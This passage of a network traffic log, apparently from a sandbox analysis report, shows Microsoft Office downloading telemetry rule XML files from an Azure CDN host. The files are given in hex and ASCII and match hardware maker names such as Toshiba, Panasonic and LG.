22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49751	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:23 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:23 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 891841ce-c01e-0014-6d8e-2da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091323Z-157b9fd754fdsnsqhC1SN1tzrn00000004dg000000001b1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:23 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49752	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:23 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3e6f6a75-201e-0000-395c-2ea537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091323Z-158dbd74bf4jmkvwhC1SN1wwbg00000003mg000000003g8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49753	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 34624292-801e-0047-3c58-2e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091323Z-157b9fd754fqtvfchC1SN1b6mc000000045000000000294a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49754	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: bbcd7168-d01e-002b-5940-2e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091323Z-157b9fd754fnmqw2hC1SN10ngs0000000470000000004pgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49755	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:24 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:24 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 11f32c1c-b01e-003d-4c5c-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091324Z-158dbd74bf4wlzpzhC1SN10qvc00000003p0000000003r8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:24 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49757	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 44e37c5b-101e-007a-028e-2d047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091324Z-158dbd74bf4kdtcghC1SN10mk400000003r0000000003ap4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49756	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 2173f510-c01e-000b-3b58-2ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091324Z-157b9fd754ftc7cbhC1SN1xe2w000000047g000000001han x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49758	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7b0becc1-c01e-008d-6e3f-2e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091324Z-157b9fd754fgw9r7hC1SN1124c0000000490000000005rp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49759	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 23aea2f2-001e-0065-4c65-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091324Z-158dbd74bf4fwv52hC1SN1tbkg00000003u0000000002yv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49760	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 66dddae9-001e-00ad-7c4d-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-158dbd74bf4gbnjwhC1SN1gt5000000003u0000000001dyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49762	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2676c640-401e-0048-235f-2e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-157b9fd754fgw9r7hC1SN1124c00000004c0000000001x3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49761	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7b7195f4-601e-0050-1f60-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-158dbd74bf492xzchC1SN15kfc00000003qg000000002tb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
